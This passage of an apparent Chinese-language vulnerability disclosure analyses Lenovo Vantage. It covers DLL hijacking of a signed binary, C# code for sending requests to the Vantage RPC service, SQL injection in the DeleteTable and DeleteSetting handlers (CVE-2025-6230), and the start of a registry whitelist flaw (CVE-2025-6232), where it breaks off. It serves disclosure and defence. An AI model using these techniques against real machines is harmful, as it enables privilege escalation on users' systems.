DLL，因此可通过将其复制到可写目录来实施劫持。随后，我们在该二进制文件的本地路径中放置一个名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">profapi.dll</span></code><span leaf="">的 DLL，执行后即可在已签名二进制进程内获得代码执行能力。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">发送请求</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于每个插件通过 RPC 与 Vantage 服务通信，Lenovo 开发了一个标准 RPC 客户端，以统一方式支持所有客户端调用。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Lenovo.Vantage.RpcClient.dll</span></code><span leaf="">是一个 C# DLL，封装了通用通信例程，并对不同架构提供透明支持。向 Vantage RPC 端点发送请求的用法如下：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(36, 41, 46);"><span leaf="">Dictionary</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">string</span></span><span leaf="">, </span><span style="color: rgb(36, 41, 46);"><span leaf="">string</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">DiskSpaceRequest</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Dictionary</span></span><span leaf="">&lt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">string</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">string</span></span><span leaf="">&gt;()</span><br/><span leaf="">{</span><br/><span leaf="">    { </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;contract&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;SystemOptimization.SystemUpdate&#34;</span></span><span leaf=""> },</span><br/><span leaf="">    { </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;command&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Get-FreeDiskSpace&#34;</span></span><span leaf=""> },</span><br/><span leaf="">};</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">string</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">requestStr</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">JsonConvert</span></span><span leaf="">.</span><span style="color: rgb(111, 66, 193);"><span leaf="">SerializeObject</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">DiskSpaceRequest</span></span><span leaf="">);</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">RpcClient</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">client</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">RpcClient</span></span><span leaf="">();</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">string</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">text</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">client</span></span><span leaf="">.</span><span style="color: rgb(111, 66, 193);"><span leaf="">MakeRequest</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">requestStr</span></span><span leaf="">, </span><span style="color: rgb(111, 66, 193);"><span leaf="">delegate</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">string</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">response</span></span><span leaf="">)</span><br/><span leaf="">{</span><br/><span leaf="">    return Lenovo.Vantage.RpcCommon.RpcCallbackResult.Ok;</span><br/><span leaf="">});</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通过上述方式，可以访问 Vantage RPC 端点及其已注册的插件接口。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">研究初期，我们首先对在提升权限上下文中运行的插件进行了合约枚举。在 20 个插件中，有 5 个以 SYSTEM 权限运行：CommercialAddin、LenovoAuthenticationAddin、LenovoHardwareScanAddin、LenovoSystemUpdateAddin 和 VantageCoreAddin。其中 VantageCoreAddin 是核心服务插件，随 Lenovo Vantage 持续运行，提供多种基础系统功能服务。我们以此为切入点展开分析，发现了两处问题。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CVE-2025-6230</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Atredis 发现的第一批漏洞位于 Vantage 服务的核心例程中。尽管几乎所有功能和请求处理器均通过插件实现，Vantage 本身仍存在若干核心合约。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其中一个合约位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VantageCoreAddin</span></code><span leaf="">，负责处理主机上的基础功能，包括获取系统信息、发起蓝牙扫描以及更新插件设置数据库。其中一条支持的命令 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Lenovo.Vantage.AddinSetting</span></code><span leaf="">用于配置本地 Vantage 设置。这些设置存储在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">C:\ProgramData\Lenovo\Vantage\Settings\LocalSettings.db</span></code><span leaf="">的 SQLite 数据库中，仅 SYSTEM 账户可访问。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">处理 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DeleteTable</span></code><span leaf="">命令时，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">payload</span></code><span leaf="">中应包含一个 JSON 数据包，携带待删除的表名，服务随后将该表从数据库中清除：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">using</span></span><span leaf=""> (SQLiteCommand sqliteCommand = LocalSettingsDb._dbConnection.CreateCommand())</span><br/><span leaf="">{</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> commandText = </span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf="">.Format(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;drop table {0}&#34;</span></span><span leaf="">, localSetting.Component) ?? </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><br/><span leaf="">    sqliteCommand.CommandText = commandText;</span><br/><span leaf="">    sqliteCommand.ExecuteNonQuery();</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">与读写函数不同，此处对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">localSetting.Component</span></code><span leaf="">字段未执行任何清理操作，任意内容均可拼接至 SQL 查询。此外，尽管 SQLite 默认不支持堆叠查询，所使用的 .NET 库 (官方 SQLite 库) 却支持该特性，攻击者因此可执行任意数量的 SQL 查询。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DeleteSetting</span></code><span leaf="">处理器中存在第二处 SQL 注入：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">using SQLiteCommand sQLiteCommand = _dbConnection.CreateCommand();</span><br/><span leaf="">string commandText = $&#34;delete from {localSetting.Component} where Key=@key and UserName=@username&#34; ?? &#34;&#34;;</span><br/><span leaf="">sQLiteCommand.Parameters.Add(&#34;@key&#34;, DbType.String).Value = localSetting.Key;</span><br/><span leaf="">sQLiteCommand.Parameters.Add(&#34;@username&#34;, DbType.String).Value = localSetting.UserName;</span><br/><span leaf="">sQLiteCommand.CommandText = commandText;</span><br/><span leaf="">sQLiteCommand.ExecuteNonQuery();</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其中 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">key</span></code><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">username</span></code><span leaf="">字段已正确参数化，但 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">localSetting.Component</span></code><span leaf="">字段未经清理或参数化，导致 SQL 注入。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">利用上述漏洞存在一定难度：尽管可通过堆叠查询传递任意 SQL，但用户定义函数 (UDF) 与扩展默认处于禁用状态，无法直接通过这些途径执行代码。攻击者可创建任意文件名的文件并影响其内容，但无法构造格式合规的文件。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CVE-2025-6232</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Atredis 发现的第三个漏洞更具研究价值。问题同样出在上述 Vantage 服务中，但触发点转移到了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Set-KeyChildren</span></code><span leaf="">命令——该命令负责更新 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HKCU\SOFTWARE\Lenovo</span></code><span leaf="">下的用户注册表配置。服务中还存在配套的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Get-KeyChildren</span></code><span leaf="">命令，但后者对注册表路径没有限制。传入请求首先被反序列化为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KeyChildrenRequest</span></code><span leaf="">对象，结构大致如下：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">KeyChildrenRequest</span></span><span leaf=""> keyChildrenRequest </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf=""> KeyChildrenRequest</span><br/><span leaf="">{</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">KeyList</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">KeyList</span></span><span leaf="">[]</span><br/><span leaf="">    {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf=""> KeyList</span><br/><span leaf="">        {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">Location</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;HKCU</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\S</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">OFTWARE</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\L</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">enovo</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\T</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">est&#34;</span></span><span leaf="">,</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">KeyChildren</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">KeyChild</span></span><span leaf="">[]</span><br/><span leaf="">            {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf=""> KeyChild</span><br/><span leaf="">                {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">Type</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">RegistryKind.String</span></span><span leaf="">,</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">Name</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Test&#34;</span></span><span leaf="">,</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">Value</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Hello!&#34;</span></span><br/><span leaf="">                }</span><br/><span leaf="">            }</span><br/><span leaf="">        }</span><br/><span leaf="">    }</span><br/><span leaf="">};</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">上述请求会在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HKCU\SOFTWARE\Lenovo\Test</span></code><span leaf="">下写入字符串值 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Test</span></code><span leaf="">。在执行注册表写入前，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VantageCoreAddin</span></code><span leaf="">会先对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Location</span></code><span leaf="">字段做白名单校验：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">private</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">static</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">readonly</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">IEnumerable</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;string&gt;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">WhiteList</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">List</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;string&gt;</span></span><span leaf=""> { </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;HKCU</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">SOFTWARE</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Lenovo&#34;</span></span><span leaf=""> };</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">...</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">KeyList</span></span><span leaf="">[] </span><span style="color: rgb(0, 92, 197);"><span leaf="">keyList</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">keyChildrenRequest</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">KeyList</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">foreach</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">KeyList</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">key</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">in</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">keyList</span></span><span leaf="">)</span><br/><span leaf="">{</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">try</span></span><br/><span leaf="">    {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">WhiteList</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Any</span></span><span leaf="">((</span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">f</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">=&gt;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">key</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Location</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">IndexOf</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">f</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span 